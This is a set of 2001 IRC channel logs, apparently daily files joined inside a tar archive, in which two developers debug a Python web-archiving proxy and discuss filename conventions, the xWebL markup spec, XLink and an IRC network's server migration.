8000, oh well... 16:15:02 <sbp> Starting proxy on 127.0.0.1 port 8000 16:15:09 <sbp> Starting service... 16:15:09 <AaronSw> Starting service... 16:15:14 <sbp> Yes, that's it 16:15:28 <AaronSw> OK, now visit a page... does it come up with some sort of error? 16:15:39 <sbp> It just doesn't load. IE gets stuck 16:16:03 <AaronSw> Does it log an error, though? 16:16:06 <AaronSw> Does it log anything? 16:16:11 <AaronSw> the python script, i mean 16:16:18 <sbp> It doesn't do anything 16:16:27 <sbp> OH no, you're right, it is doing something 16:16:41 <AaronSw> Does it say any sort of error? 16:16:49 <sbp> uncaptured python exception 16:16:56 <AaronSw> Ooh, ooh, what? 16:17:47 <sbp> I'll DCC you the screen shot 16:17:51 <AaronSw> ok 16:18:29 <sbp> hello? 16:18:41 <AaronSw> ok 16:18:56 <sbp> er, I'm sending it 16:19:17 <sbp> are you going to acknowledge before it times out, perhaps? 16:19:24 <AaronSw> i thought i did... 16:19:31 <sbp> try again 16:20:06 <sbp> hello? 16:20:06 <AaronSw> send it 16:20:09 <sbp> I am! 16:20:09 <AaronSw> you cancelled 16:20:19 <sbp> Ugh, I'll send it again 16:20:33 <sbp> O.K., now 16:20:47 <sbp> For some reason, it says you're sleeping 16:20:52 <AaronSw> hold on... 16:21:06 <AaronSw> try now 16:22:13 <AaronSw> is it coming? 16:23:11 <AaronSw> You sure you downloaded the new version? 16:23:29 <sbp> Yes 16:23:55 <AaronSw> do you have this line: 16:24:00 <AaronSw> f = open(os.path.join('archive',str(time.time())), 'w') 16:24:12 <sbp> no 16:24:21 <AaronSw> put it in after: 16:24:25 <AaronSw> 16:24:32 <AaronSw> if not archive_files.has_key(klass): 16:25:01 <sbp> replace:- f = open('archive/'+str(time.time()), 'w') ? 16:25:05 <AaronSw> yep 16:25:12 <AaronSw> f = open(os.path.join('archive',str(time.time())), 'w') 16:25:12 <sbp> done 16:25:17 <AaronSw> ok try now 16:25:23 <AaronSw> (you didn't have the new version) 16:25:33 <sbp> Blargh 16:26:29 <sbp> It bought up the same error as before 16:27:00 <AaronSw> really? 16:27:06 <AaronSw> exactly? 16:27:09 <sbp> IT says something about no such file or directory 16:27:20 <AaronSw> did you make the archive directory? 16:27:24 <AaronSw> next to the Python file? 16:27:36 <sbp> Yep, exacty 16:27:43 <sbp> Oh, *next* to the Python file 16:27:49 <AaronSw> :-) 16:28:05 <AaronSw> [~/Projects/cacher]$ ls 16:28:05 <AaronSw> ArchiverProxy.py archive 16:28:52 <sbp> * sbp runs again 16:29:41 <sbp> Slightly different problem this time 16:30:41 <sbp> "function requires at least one arguement" 16:30:50 <AaronSw> what function? 16:30:53 <sbp> Do I have to pass it the name of the directory or anything? 16:31:11 <AaronSw> nope 16:31:13 <sbp> exceptions.TypeError:function... 16:31:50 <AaronSw> which function? 16:32:52 <sbp> I've no idea. Want me to upload the file again? 16:33:00 <AaronSw> Could you? 16:33:02 <AaronSw> Thanks. 16:36:13 <AaronSw> Hmm, OK. 16:36:21 <AaronSw> You must have an older version of Python than me. 16:36:29 <sbp> I've got 2.0 16:36:35 <sbp> It's hardly "old" 16:36:37 <AaronSw> i've got 2.1 16:36:43 <AaronSw> something's a bit od... 16:36:57 <AaronSw> anyway, try fixing line 76. 16:37:06 <AaronSw> Replace it with: 16:37:07 <AaronSw> f.write(url + ' ' + time.strftime('%Y-%m-%dT%H:%M:%SZ',time.gmtime(time.time())) + '\n') 16:37:23 <sbp> What is it now? I can't count lines 16:37:31 <AaronSw> It's the one that looks just like that. 16:37:37 <AaronSw> Except it doesn't have time.time() 16:37:47 <AaronSw> just stick a time.time() in there. 16:38:27 <sbp> Oh, good point. I noticed that oddity yesterday 16:39:22 <sbp> Hooray! 16:39:31 <AaronSw> It works? 16:39:32 <AaronSw> Cool! 16:39:35 <sbp> Yes! 16:39:37 <sbp> Thanks 16:39:47 <AaronSw> No problem -- thank you for debugging. 16:39:52 <sbp> No problem 16:41:14 <AaronSw> Now I need suggestions on how to store them... 16:41:34 <sbp> Yes. The file format is weird 16:41:48 <AaronSw> Do you like: <archive>/http/logicerror.com/80/path/foo/bar/ for a directory structure? 16:43:27 <sbp> Hmm... I'd like something like:- 16:43:27 <sbp> <archive>/2001-07/logicerror.com/path/ 16:43:45 <AaronSw> See, the problem with dates is that they're hard to query 16:44:07 <sbp> That's true... I'm not really all that sure how I want it sorted 16:45:44 <AaronSw> What's wrong with the file format? 16:46:30 <AaronSw> Do you like: <archive>/http/logicerror.com/80/path/foo/bar.html/{1.html,1.headers} 16:48:30 <sbp> sbp has quit 16:48:35 <sbp> sbp has joined #swhack 16:48:39 <AaronSw> Do you like: <archive>/http/logicerror.com/80/path/foo/bar.html/{1.html,1.headers} 16:49:13 <sbp> What's the bit in {} all about? 16:49:19 <sbp> Oh, versions 16:49:37 <AaronSw> err, it'll save two files for each version... a content file and a headers file. 16:49:41 <sbp> The problem is, I'm going to be periodically moving onto disc to free up my Hard Drive space 16:50:01 <AaronSw> Well, if you had a UNIX machine you could just do a find query. 16:50:18 <AaronSw> I could write a Python script to take out the old ones for you, though. 16:50:33 <sbp> That's not the issue: I mean that I'm just going to be copything that same stuff to disc all of the time... a bit messy 16:50:41 <sbp> (to the UNIX thing) 16:50:44 <sbp> and sure 16:50:47 <AaronSw> what same stuff? 16:50:55 <sbp> (to the script to take out oldthing) 16:51:17 <sbp> Well, I'm going to be clearing the archive all of the time, so it's going to fragment 16:51:33 <sbp> Actually, I guess it's not so bad 16:52:14 <sbp> Yep, go for that file format then 16:52:20 <AaronSw> cool 16:52:24 <sbp> and don't forget to add time.time() to the script! 16:52:32 <sbp> :-) 16:52:37 <sbp> Gotta run 16:52:37 <AaronSw> already did 16:52:41 <AaronSw> c'ya 16:52:41 <sbp> cool 16:52:43 <sbp> c'ya 16:52:44 <sbp> sbp has quit 17:46:11 <AaronSw> AaronSw has quit 17:48:01 <AaronSw> AaronSw has joined #swhack 18:42:15 <cdlu> [GlobalNotice] We would like everyone's opinion on this matter. Our new irc daemon is ready to go on line, and we are looking for the least possible intrustive time to make the change. Should we make the change as soon as possible, or wait until the end of the weekend? The change may cause up to 20 minutes of down time on the network. Please tell us your opinion in #openprojects, or mail your opinion to support@openprojects.net. T 18:43:36 <AaronSw> See on #openprojects: 18:43:37 <AaronSw> <radix> oh man. This channel's gonna get swhacked 18:53:05 <GlobalMessage> The dancer-ircd server conversion will take place at 3AM EST (7AM GMT). The services database will be exported in another 3 hours. Please make adjustments to your channel lists and nickname passwords. 19:00:05 <GlobalMessage> Clarification about the services database... Changes made after 6PM EST (10PM GMT) will not be reflected in the new services database. 20:17:47 <AaronSw> Happiness is when you go to file a bug and realize that a new version just came out that fixed it. 20:27:36 <sbp> sbp has joined #swhack 20:28:16 <AaronSw> Woohoo! http://logicerror.com/SWWS-plans 20:29:07 <sbp> Aha 20:29:22 <sbp> Heh, ECONOMY 20:29:46 <AaronSw> * AaronSw notes DanCon and em travel economy too. 20:29:50 <sbp> :-) 20:30:06 <sbp> I've got a few crappy xWebL-Aaron comments that I may as well get out of the way:- 20:30:06 <sbp> > (XLink was considered for this task and may still be 20:30:06 <sbp> > used in the future.) 20:30:06 <sbp> Why aren't you using XLink? It was built for exactly this purpose. 20:30:06 <sbp> > @rel ( QNAMES | DEFAULT: 'xWeb:role.link') 20:30:06 <sbp> The "xWeb:role.link" thing shouldn't be in quotes if it's a QName. 20:30:08 <sbp> > @title ( PCDATA ) 20:30:10 <sbp> I thought you were going to make it an element to allow for Ruby? And 20:30:12 <sbp> why does it not discuss i18n (ruby/bdo/+) anywhere? 20:30:16 <sbp> > <a> the general inline phrasing element 20:30:18 <sbp> I'm now seriously confused by the content model when it gets to <par>, 20:30:20 <sbp> <annot>, and <a>. So I can't put titles, descriptions or summaries on 20:30:22 <sbp> <par> elements? And <a> still reminds me of HyperLinks. Even if you 20:30:24 <sbp> don't change it to <par>, make it <s> or some other unused character. 20:30:26 <sbp> > <par>and back to the <a>original</a> section</par> 20:30:28 <sbp> What's that all about? Why is there an <a> element around that word in 20:30:30 <sbp> that example? 20:30:32 <sbp> > It may contain any element but not text. 20:30:34 <sbp> (About <meta>); you need to be more clear. Can it take no text at any 20:30:36 <sbp> level? Examples would be nice. 20:30:38 <AaronSw> Can you send those by email? 20:30:38 <sbp> > ? 20:30:40 <sbp> What are all the question marks doing after the titles? It's rather 20:30:42 <sbp> confusing for people unfamiliar with Blogspace. 20:30:44 <sbp> [end junk] 20:30:46 <sbp> Do I have to? 20:30:55 <AaronSw> Please, otherwise I won't get to them. 20:31:00 <AaronSw> They're working on their demos / travel plans in #rdf-swws 20:31:01 <sbp> O.K. 20:31:10 <AaronSw> they = dancon, etc. 20:31:38 <sbp> Are you logging it? 20:31:45 <AaronSw> locally 20:31:49 <sbp> Could you send the the logs when they're done? 20:31:53 <AaronSw> sure 20:31:56 <sbp> cheers 20:31:58 <AaronSw> send me an email reminding me, please 20:32:00 <sbp> email sent, BTW 20:32:03 <sbp> Will do 20:32:32 <AaronSw> Oh, and we're switching over to the new IRC servers at 3AM tomorrow. 20:32:39 <AaronSw> So don't change your password, etc. 20:32:42 <sbp> Ah, neat 20:32:51 <sbp> What's the new server again? 20:33:02 <AaronSw> I don't recall... 20:33:12 <AaronSw> but they'll be installing it on all of these 20:33:25 <sbp> Uh huh 20:33:43 <sbp> How the archiving deeley coming along? 20:34:03 <sbp> s/How/How's 20:34:20 <AaronSw> Pretty good actually. 20:34:48 <AaronSw> I'm still working on the directory structure... 20:35:14 <sbp> Fine 20:35:38 <sbp> Hmm... we could come up with an XHTML profile for that classes that we transform xWebL into 20:35:51 <sbp> s/could/should 20:36:09 <AaronSw> Definitely. 20:36:46 <sbp> Oh, and I'm rethinking classes. Can you take a DCC chat? 20:36:59 <AaronSw> sure 20:37:35 <sbp> ping 20:37:41 <AaronSw> hmm, doesn't seem to be working... 20:37:53 <sbp> Ugh, your client must be busted again 20:37:58 <AaronSw> Try one more time.. 20:38:07 <AaronSw> How do I accept 20:38:07 <sbp> O.K. 20:38:11 <AaronSw> How do I accept? 20:38:13 <sbp> I don't know! 20:38:19 <sbp> Have you got mIRC? 20:38:26 <AaronSw> Nope 20:38:32 <AaronSw> You can't hear me? 20:38:36 <sbp> Well, if you did, it would be blatantly obvious: a box comes up with y/n 20:38:36 <AaronSw> Why cam 20:38:48 <AaronSw> Heh... well it does come up and a new window opens 20:38:53 <AaronSw> but you can't seem to hear me, do you? 20:38:57 <sbp> Pardon me? 20:39:07 <AaronSw> I have a DCC chat: sbp window open. 20:39:14 <sbp> It disconnected 20:39:19 <sbp> aaaaargh! 20:39:45 <AaronSw> It says "connecting" 20:39:51 <AaronSw> This email was delivered to you by The Free Internet, 20:39:51 <AaronSw> a Business Online Group company. http://www.thefreeinternet.net 20:39:51 <AaronSw> --------------------------------------------------------------- 20:39:55 <AaronSw> That's annoying! 20:40:03 <sbp> Oh man, damn thing 20:40:38 <sbp> Ugh, it won't do DCC? Well, that sucks 20:40:47 <AaronSw> Must be my firewall. 20:41:20 <sbp> Ugh, go into #sbp, and I'll paste it bit by bit 20:41:20 <AaronSw> Can't we do it over here. 20:41:33 <sbp> No, 'cause I haven't checked it or anything yet 20:42:08 <sbp> sbp has quit 20:42:22 <sbp> sbp has joined #swhack 20:46:51 <AaronSw> * AaronSw wonders why random folks are forwarding him random emails... 20:48:54 <sbp> Ask them 20:50:33 <sbp> :-) 20:53:57 <sbp> Interesting: http://www.google.com/search?q=QNames+XHTML+RDF 20:54:14 <sbp> I wrote/edited two out of the top three results, which is good :-) 20:54:39 <sbp> In fact, 5/6! 20:54:45 <AaronSw> :-) 20:55:09 <sbp> Heh, that's pretty funny 20:55:30 <sbp> Ah, and look what's on te second page: http://www.google.com/search?q=QNames+XHTML+RDF&hl=en&safe=off&start=10&sa=N 20:56:05 <sbp> Ta da: http://www.google.com/search?q=xWebL&test=bsb&hl=en&safe=off 20:56:05 <AaronSw> :-) 20:56:20 <AaronSw> Ooh, look whose spec is better. ;-) 20:56:25 <sbp> Ugh, how is yours the first on the list! 20:56:27 <sbp> Damnit 20:56:44 <AaronSw> :-) 20:56:50 <sbp> Gotta run 20:56:54 <sbp> sbp has quit 21:06:35 <sbp> sbp has joined #swhack 21:07:12 <sbp> ( first && shorter ) != better 21:07:56 <AaronSw> :-) 21:08:04 <AaronSw> You're just trying to run from the truth. 21:08:18 <sbp> Pfffffff 21:10:09 <sbp> switch to normal mode for a second, because I'm actually intregued 21:10:16 <sbp> Why aren't you using XLink? 21:10:31 <AaronSw> Umm, because I haven't read the spec -- you know that. 21:10:42 <sbp> Oh, cool 21:10:54 <AaronSw> It's on my TODO list. 21:11:09 <sbp> If that's really the only reason, I can just wait for you to read it, but if it were something else, PF would have to know about it 21:12:21 <AaronSw> Also, it's role doesn't support the type of information that I need. You really need REL and REV with QNames. 21:12:25 <sbp> * sbp notes that Daniel correctly put in class="proposed" in the new draft: phew 21:12:34 <AaronSw> :-) 21:12:48 <sbp> rev: perhaps extended XLinks would work 21:13:02 <sbp> I think XLink is fundamentally flawed in a number of areas... 21:13:31 <sbp> ...but everyone seems to support it so much 21:13:46 <AaronSw> Like who? 21:15:05 <sbp> Well, I don't think I've ever heard a bad word against it 21:15:18 <sbp> Everyone in PF seems to like it 21:15:26 <AaronSw> Hmm... 21:15:30 <sbp> XML-Dev people are always coming up with new uses for it 21:15:34 <sbp> Murray loves it 21:15:39 <AaronSw> Odd... 21:15:43 <sbp> People just like XLink for some reason 21:16:02 <sbp> First thing that strikes me is that simple links can't be modelled as extended links 21:16:35 <sbp> Well, it's not that I don't like it, I mean it's alright. but it could be better 21:18:20 <sbp> But the benefit you get from using XLink is that it's a W3C recommendation, and there are an increasing amount of XML tools that grok it 21:18:29 <sbp> People expect links now to be XLink 21:19:29 <sbp> Ooh, agenda for ERT 21:20:06 <sbp> Hmm... it's quite short 21:31:11 <AaronSw> * AaronSw tries out the new version of the archiver 21:31:13 <AaronSw> wish me luck! 21:32:22 <AaronSw> Cool, it works! 21:32:52 <sbp> O.K. 21:32:54 <AaronSw> http/www.python.org/doc/quickreference.html 21:32:57 <sbp> Neat! 21:33:16 <AaronSw> (and I was careful to stay windows-compatible) 21:33:35 <sbp> Thanks 21:33:55 <AaronSw> Now, I got to split the content and headers files... 21:35:15 <sbp> Do you have to log the files that aren't text/xxx??? Can we have a flag to turn that off? 21:35:37 <AaronSw> Umm, I suppose so... 21:35:59 <AaronSw> Although it won't really know what the format is until it's already created the file... 21:36:05 <AaronSw> I guess I can delete it... 22:00:46 <sbp> Yep 22:08:31 <sbp> sbp has quit 22:10:07 <sbp> sbp has joined #swhack 22:26:20 <sbp> Get back Jo-Jo 22:29:48 <AaronSw> ;-) 22:29:58 <AaronSw> I could use some music... 22:32:03 <sbp> * sbp plays "Old Brown Shoe" 22:32:13 <sbp> I learned the bass riff for that the other day! 22:32:49 <AaronSw> cool! 22:33:43 <sbp> Quite fast 22:33:52 <sbp> Took a few listens 22:33:55 <sbp> Bit of practise 22:33:57 <sbp> Easy :-) 22:34:00 <AaronSw> :-) 22:48:15 <sbp> [[[ 22:48:17 <sbp> If you want something more uniform, you could try setting the padding to something like 10px. Hey, do whatever you want. That's one of the benefits of being evil. 22:48:25 <sbp> ]]] - http://www.oreillynet.com/pub/a/network/2000/07/21/magazine/css_anarchist.html 22:48:28 <sbp> he he he 22:48:28 <AaronSw> :-) 22:48:32 <AaronSw> heh 22:48:37 <AaronSw> He's good, I like him. 22:48:45 <sbp> [[[ 22:48:47 <sbp> I was reading Tap the Power of Mozilla's User Stylesheets, by Andrew Wooldridge of Netscape, when I felt this eerie tickle on the back of my neck. It turned out to be my wife teasing me, but at the same time, I was getting ... thoughts. 22:48:50 <sbp> ]]] - ibid. 22:48:54 <sbp> Yep 23:01:05 <AaronSw> Awesome! The archiver is working! 23:01:09 <AaronSw> Will you test it for me? 23:01:26 <sbp> *sigh* 23:01:26 <sbp> yes 23:02:08 <AaronSw> ok, i'm uploading... 23:02:10 <sbp> * sbp notes his connection will go in a sec.; let me reconnect fist 23:02:15 <sbp> s/fist/first 23:02:21 <AaronSw> ok 23:02:56 <sbp> sbp has quit 23:07:57 <sbp> sbp has joined #swhack 23:08:04 <AaronSw> Thanks for coming back. ;-) 23:08:10 <AaronSw> Version 0.3: http://logicerror.com/archiverProxy-code 23:08:11 <sbp> np 23:08:26 <AaronSw> With actual directory structure, and separation of headers and content. 23:08:36 <AaronSw> If it works for you, I'm sending it to fogo. 23:11:40 <sbp> * sbp sets it up 23:11:49 <sbp> does it delete GIFs etc. yet? 23:12:32 <AaronSw> Yeah, there's an option in the source code to. 23:12:42 <AaronSw> ARCHIVE_NON_TEXT = 1 23:12:52 <sbp> Ah, thanks 23:13:04 <sbp> So it's on by default? 23:13:30 <AaronSw> Err, it archives all files by default 23:13:39 <AaronSw> If you want it to delete them, set it to 0. 23:13:58 <sbp> Yep, done 23:14:33 <sbp> * sbp takes it for a spin 23:15:36 <sbp> Ooh, I'm the first (er... second) person to use it 23:15:39 <AaronSw> ;-) 23:15:41 <AaronSw> Does it work? 23:15:56 <AaronSw> (this version also makes directories for itself) 23:16:17 <sbp> No, it;'s barfed on: http://c2.com/cgi/wiki?RecentChanges 23:16:44 <sbp> and why the "996275827.98" file names? Yuck 23:17:05 <AaronSw> Hmm, that page works for me.... what's wrong for you? 23:17:16 <AaronSw> TODO: Better file names 23:17:19 <AaronSw> what would you like? 23:17:36 <AaronSw> err, what file names would you like? 23:17:38 <sbp> Well, you're Mr. Let's keep it short and don't date stamp 23:17:43 <sbp> Why not 1, 2, 3 etc.? 23:17:56 <sbp> [BTW, this program kics-arse] 23:18:00 <sbp> er, kicks 23:18:01 <AaronSw> Because what happens when you delete 1? 23:18:06 <AaronSw> kicks: aww, thanks! ;-) 23:18:11 <sbp> What do you mean, delete 1? 23:18:20 <AaronSw> if you delete file 1, then the files get all out of order. 23:18:29 <sbp> Why would I delete file 1? 23:18:36 <AaronSw> You'd archive it to a CD. 23:18:46 <sbp> Ugh 23:19:22 <sbp> Well that's tough. I'm going to end up with /2001-07/http/... and /2001-08/http/ - I don't mind if the names within the whole lot conflict 23:19:45 <AaronSw> Hmm... 23:19:58 <sbp> e.g. I can have /2001-07/http/logicerror.com/index/1.html and /2001-08/http/logicerror.com/index/1.html no problem 23:20:04 <AaronSw> I'll work on some way to make them shorter... 23:20:14 <sbp> * sbp debugs the archiver 23:20:26 <AaronSw> Oh, right, I have to give them extensions... TODO 23:21:03 <sbp> It says no such file or directory for Wiki 23:21:10 <sbp> Can you try http://c2.com/cgi/wiki?RecentChanges for me? 23:21:20 <AaronSw> I tried it... it works... 23:21:33 <AaronSw> can you create a directory name wiki?recent 23:21:47 <sbp> On windows? No 23:21:48 <AaronSw> Ahh, I bet there's a rule in DOS against names like that... 23:21:51 <sbp> Yes 23:21:56 <AaronSw> What's the rule? 23:22:05 <sbp> No :, /, ? etc. 23:22:08 <sbp> I'll get the list... 23:22:12 <AaronSw> thanks 23:22:29 <sbp> \/:*?"<>| 23:22:58 <sbp> Can you make it so that if it fucks up, it still downloads the page, but just makes a note of it in a errors.txt file? 23:23:07 <sbp> TODO :-) 23:23:11 <AaronSw> :-) 23:23:52 <sbp> * sbp gets a cunning plan 23:24:04 <AaronSw> Can you make a directory with % in it? 23:24:08 <sbp> if I put this on D:\, I could simply use a CD-RW, and not worry about disc space 23:24:25 <sbp> % is fine 23:24:43 <sbp> But then I can't use CD's whilst browsing the Web... ugh 23:26:38 <AaronSw> Open python and type import os; os.name 23:26:40 <AaronSw> for me, please 23:26:55 <robster> [GlobalNotice] Bye bye Espernet services, its been nice knowing you ;) 23:28:16 <sbp> nt 23:29:13 <AaronSw> NT? 23:29:23 <sbp> lower case, nt 23:29:29 <AaronSw> hmm, ok 23:29:36 <sbp> Yep, seems a bit odd 23:30:21 <AaronSw> OK, I've uploaded a new version that url-encodes those characters. 23:30:22 <AaronSw> Gotta run 23:30:26 <AaronSw> See you sunday 23:30:34 <sbp> Cheers, have a nice Saturday! 23:31:19 <AaronSw> bye 23:31:33 <AaronSw> send bug reports over email. ;-) 23:32:55 <sbp> O.K. :-) 23:32:58 <sbp> c'ya 23:43:09 <sbp> Aw, the file only had one small error. I managed to fix it myself with my wonderful, if limited, python knowledge 23:43:21 <sbp> (basically, because it's something I keep doing too) 23:43:49 <sbp> You use = instead of == :-) 23:47:25 <sbp> Ah crap, it's still not working on Wiki ����������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-07-28.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000011520�07330642730�012012� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:07:17 <sbp> sbp has quit 00:15:30 <sbp> sbp has joined #swhack 00:53:37 <sbp> sbp has quit 04:02:38 <andy> [GlobalNotice] Unless you haven't heard yet, we're going to attempt to move OpenProjects.Net over to the dancer-ircd codebase at 0700 UTC. We've succesfully exported the channel databases and we're working our way through the nickname database as this is being edited. 05:03:20 <cdlu> [GlobalSpam] While we're working on getting the conversion going, documentation on what will be changed in the daemon is available here: http://www.doc.ic.ac.uk/~aps100/docs/dancer-user-guide/dancer-user-guide.html 07:09:13 <cdlu> [GlobalNotice] Nothing like the last minute to really get things done quickly. As you can tell, the conversion is a few minutes behind schedule and has been postponed until 10:00 UTC, just under three hours from now, due to last-minute issues we'd prefer to solve. Thank you, please carry on. 10:05:05 <cdlu> [GlobalSpam] Well, perhaps we were a little too ambitious. We're going to continue after all the codebase changing crew gets a little rest and get dancer-ircd in place as soon as possible. Sorry for raising all your hopes up. :( Services will now be restarted, no changes made to any information will actually last. 10:14:47 <GlobalMessage> Changes made to your NickServ profiles during the duration of the day will not be brought over to the new database. 13:35:11 <sbp> sbp has joined #swhack 14:35:40 <sbp> sbp has quit 14:43:11 <sbp> sbp has joined #swhack 14:52:12 <sbp> Hmm... 14:52:13 <sbp> [[[ 14:52:13 <sbp> NOTE : UNIVERSAL RESOURCE NUMBERS 14:52:13 <sbp> 14:52:13 <sbp> URNs are provided to allow a document to be recognized if duplicate 14:52:13 <sbp> copies are found. This should save a client implementation from 14:52:14 <sbp> picking up a copy of something it already has. 14:52:16 <sbp> 14:52:18 <sbp> The format of URNs is under discussion (1993) by various working 14:52:20 <sbp> groups of the Internet Engineering Task Force. 14:52:22 <sbp> ]]] - http://www.w3.org/MarkUp/draft-ietf-iiir-html-01 14:52:27 <sbp> I think it carried over into HTML 2.0 as well 14:55:14 <sbp> Heh, HTML 2.0 allows:- 14:55:44 <sbp> <a href="http://purl.org/swag/" urn="urn:purl:swag">SWAG</a> 14:56:04 <sbp> Actually, that's not such a bad idea: a kind of catalogue thing, like FPIs 14:56:22 <sbp> Actually, no, it's a crud idea. You can do the same thing with URLs 14:59:41 <sbp> Interesting, the first result of http://www.google.com/search?q=URN+URI+URL+XHTML+RDF+CSS was editied by me (apparently) 15:00:11 <sbp> s/editied/edited 15:26:49 <sbp> Heh: "I claim credit for the use of MIME in HTTP, which turned out to be a mixed blessing." - http://www.w3.org/Architecture/9111Background/JuneMailDiscussion 15:32:23 <sbp> Let's see what XHTML violates in XML GL... 15:32:32 <sbp> 1.2: <img> fails this quite badly 15:32:57 <sbp> 2.1: <b>, <i>, <hr /> etc. fail this 15:33:17 <sbp> 2.2: @style and to some extent @class fail this 15:33:47 <sbp> 2.3: <a> and <link> etc. fail this 15:34:39 <sbp> 2.7: fails badly, has no elements to do this, and only really @title 15:35:25 <sbp> 3.1: CSS2 has to cover this: not good 15:35:47 <sbp> 3.2: doesn't define any navigational mechansisms 15:36:16 <sbp> 3.5: cf. 2.2 15:39:16 <sbp> sbp has quit 19:08:09 <sbp> sbp has joined #swhack 19:11:33 <sbp> sbp has quit 19:21:01 <sbp> sbp has joined #swhack 19:26:10 <sbp> sbp has quit 19:45:44 <sbp> sbp has joined #swhack 20:15:20 <cdlu> [GlobalSpam] As you may or may not already be aware, we're a matter of hours away from switching to our new irc daemons and services. For a users' guide on the new system take a look at http://www.doc.ic.ac.uk/~aps100/docs/dancer-user-guide/dancer-user-guide.html . Only nicknames, their passwords, channels, and their founders will be preserved through the changeover. All changes made after 22:00 UTC yesterday will NOT carry over. 20:21:57 <sbp> * sbp notes that we should use the GNU Free Documentation License, Version 1.1 for xWebL 20:26:45 <sbp> But do we want people modifying it slightly for their own advantages? 20:27:13 <sbp> Hmm... in some ways that could be good, but usually it's probably bad. If something really sucks, they should tell us about it, and we can fix it 20:29:27 <sbp> Perhaps we should use an IETF "copy this as much as you want" style license 20:30:36 <sbp> Hmm... modifiers must note the modifications in the histroy section of the document. That'd probably be fine 20:31:36 <sbp> Ah: we can declare parts as invariant 20:43:35 <sbp> sbp has quit 21:01:15 <sbp> sbp has joined #swhack 21:39:05 <sbp> About media types... I'm swaying towards 21:39:14 <sbp> application/prs.xwebl+xml 21:39:29 <sbp> although it would be nice to have:- 21:39:39 <sbp> application/xwebl+xml 21:39:55 <sbp> seeing as how this is a MIME type that will "benefit the internet community" 21:57:51 <sbp> sbp has quit 23:08:08 <sbp> sbp has joined #swhack ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-07-29.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000035556�07331114034�012022� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������00:02:31 <sbp> sbp has quit 00:02:40 <sbp> sbp has joined #swhack 00:58:27 <sbp> sbp has quit 01:02:00 <sbp> sbp has joined #swhack 02:03:06 <sbp> sbp has quit 08:42:57 <AaronSw> AaronSw has quit 08:43:12 <AaronSw> AaronSw has joined #swhack 14:43:40 <sbp> sbp has joined #swhack 14:44:18 <sbp> Hi Aaron, and how are we today? 14:44:40 <AaronSw> Alright, how are you? 14:48:20 <sbp> A bit ill; drunk a cup of chocolate that seems to have unsettled me for some reson 14:48:33 <sbp> Just watched the Grand Prix; Ralf Schumacher won 14:49:03 <AaronSw> Hmm, hope you feel better... 14:50:14 <AaronSw> Did you get the email backlog I sent you? 14:50:56 <sbp> Just going through all the mail right now 14:51:29 <AaronSw> You should probably see how many bounced: 14:51:30 <AaronSw> http://groups.yahoo.com/myprefs?bounce=sean@mysterylights.com 14:52:23 <sbp> Weird, it wasn't offline for *that* long 14:52:38 <AaronSw> Hmm, it must have just been offline when I send you messages. ;-) 14:52:47 <sbp> :-) 14:53:02 <AaronSw> You logged off exactly one minute before I logged on. ;-) 14:53:03 <sbp> * sbp finds his computer struggling, is quite glad that he'll probably be getting a new one 14:53:09 <AaronSw> Oh goodie! 14:57:17 <AaronSw> Do you have a static IP address? 15:01:49 <AaronSw> I can't talk about the details because of the W3C creed of Omerta, but suffice it to say that the little inconsistencies between the data models of the extended XML specifications (DOM, XPath, XSL, XQuery, the PSVI, the InfoSet, ad nausem) are slowing W3C progress to a crawl. The solution of breaking a few things, radically simplifying, and starting over is not even politely listened to in W3C circles. Godfather Darwin is going to be taking XML 15:01:49 <AaronSw> --Michael Champion on the sml-dev mailing list 15:02:25 <sbp> Heh, cool note 15:03:31 <sbp> XML and evolution 15:03:41 <sbp> It'll en up with four arses instead of a mouth soon 15:03:44 <sbp> s/en/end 15:03:45 <AaronSw> courtesy of cafe con leche, http://www.ibiblio.org/xml/ 15:03:51 <sbp> Yeah, I guessed that 15:05:09 <sbp> What would you be doing on the sml-dev mailing list? :-) 15:05:55 <sbp> Did you see the chat I had with Jonathan Robie last night? 15:06:11 <AaronSw> sml-dev: Hey! I'm all for SML! 15:06:25 <AaronSw> chat with robie: Yep... I wish I was there. 15:06:40 <AaronSw> It's interesting to see how the XML folks are coping with the benefits we expect from RDF... 15:06:51 <sbp> Pardon? 15:07:00 <sbp> Oh, yeah 15:07:36 <AaronSw> <robie> that's what's called hidden semantics - the semantics are in your code, or in your specification, or in your mind, but they aren't expressed in anything accessible to the computer. 15:07:47 <AaronSw> And what is XML but hidden semantics? 15:08:26 <sbp> Well, it was fun when I proved to him that RDF could express things that current schema languages can't 15:08:32 <AaronSw> :-) 15:10:41 <AaronSw> So are you still using the archiver? 15:10:46 <AaronSw> I'm loving it -- it's so fast! 15:10:48 <sbp> I'm just about to send a letter advising against recommending RDF for a task... that's quite odd 15:10:52 <sbp> Archiver: no 15:11:01 <AaronSw> odd: quite 15:11:12 <sbp> You'll see though. Sending it to PF 15:11:25 <AaronSw> archiver: you said it was archiving GIFs... is that true? 15:11:33 <sbp> Archiver: until it scrapes out the *.gif files etc. :-) 15:11:41 <AaronSw> It does, though... 15:11:48 <sbp> Yes, that's true. That's why I'm not using it. Oh, that and the 1.html thing 15:11:53 <sbp> er... shorter file names 15:12:12 <AaronSw> Huh? You're not using it because it scrapes out the GIFs? 15:12:15 <sbp> Plus, it takes a while to set up, and I need to set up the hard drive somehow 15:12:26 <sbp> No, because it doesn't scrape out the *.gif's 15:12:30 <AaronSw> But it does! 15:12:47 <AaronSw> Just change set ARCHIVE_NON_TEXT = 1 15:12:52 <sbp> Well, it doesn't for me... I can send you the files if you want proof 15:13:08 <sbp> You have to switch that to 0 15:13:43 <AaronSw> Hmm... let me test it... 15:13:56 <sbp> But hopefully, I'll end up with a 20GB Hard Drvie, so stroing the junk should be no problem 15:14:25 <sbp> Although, if I get too big a HD, it might slow down the access speed... that's a bit of a problem 15:16:20 <sbp> Heh, Joe on GL:- 15:16:30 <sbp> You're all supposed to be Internet experts. One is aware that the 15:16:30 <sbp> worst mailer program in the history of humankind, Microsoft Outfukt, 15:16:30 <sbp> defaults to this behaviour, but you must have enough skill to 15:16:30 <sbp> override it. 15:17:01 <sbp> I totally agree with him! That's one of my pet peeves 15:17:08 